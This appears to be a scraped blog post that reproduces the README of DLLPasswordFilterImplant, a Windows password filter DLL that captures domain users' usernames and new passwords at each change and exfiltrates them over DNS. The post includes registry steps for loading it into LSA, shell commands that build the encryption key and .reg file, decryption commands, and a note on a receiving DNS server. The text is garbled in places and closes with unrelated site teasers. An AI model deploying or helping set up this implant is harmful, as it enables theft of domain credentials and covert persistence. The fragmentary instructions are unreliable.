DLLPasswordFilterImplant is a custom password filter DLL that allows the capture of a user’s credentials. Each password change event on a domain will trigger the registered DLL in order to exfiltrate the username and new password value prior successfully changing it in the Active Directory (AD).
For more information about password filters consult the Microsoft documentation.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Notification Packages subkey exists, add the name of the DLL (“DLLPasswordFilterImplant” if you didn’t rename it) to the existing value data. Do not overwrite the existing values..dll extension when adding the name of the DLL in the Notification Packages subkey.KEY=key.pem
# Generate an RSA key and dump its public key. Keep the private key around for decryption
openssl genrsa -out $KEY 2048
# Prepare the Windows registry key entry.
echo ‘Windows Registry Editor Version 5.00’ > addKey.reg
echo >> addKey.reg
echo ‘[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]’ >> addKey.reg
# If python2 does not exist, use python instead.
echo “Key=hex:$(openssl rsa -in $KEY -pubout | sed -E ‘/^-/d’ | base64 -d | python2 -c ‘import sys; print(“,”.join([“{:02x}”.format(ord(b)) for b in sys.stdin.read()]))’)” >> addKey.reg
addKey.reg file to append the raw public key to the registry. Note that using asymmetric encryption significantly increases the size of the data to exfiltrate due to message padding. There are possible improvements to be made to reduce the data overhead.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Also Read – Rabid : Tool To Decode All Kind Of BigIP Cookies
Decrypting
The encrypted data is padded using OAEP and can be decrypted as follows:
# Convert the stitched hex string to raw bytes.
xxd -r -p exfiltrated.hex > raw.bin
# Decrypt using the private key.
openssl rsautl -decrypt -oaep -inkey $KEY -in raw.bin -out decrypted.txt
Uninstalling
To completely remove the password filter of a system:
HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Control\Lsa
A simple DNS server to receive the exfiltrated data is provided in scripts/. Run pip install -r scripts/requirement.txt, preferably in a virtual environment. and then provide it with a .PEM encoded private key and optional output file (defaults to creds.txt) where to output the credentials.
Currently, the DNS server does not support concurrent password changes and serves only as a proof of concept. Pull requests adding robustness to the server are more than welcome.
Works on:
The password filter was tested exclusively on systems listed above.
Here are some tool that may help you debug the DLL (if necessary):
Both git fetch and git pull talk to a remote repository, but they do very different things to your…
Sometimes the change you need already exists, just on the wrong branch. A hotfix lands…
Email is still one of the most important communication channels inside modern applications. Password resets,…
Nginx is a high-performance web server and reverse proxy trusted by some of the largest…
ufw (Uncomplicated Firewall) sits on top of iptables (or nftables on newer systems) and replaces…
When you share a server with a team or investigate unexpected activity, the first question…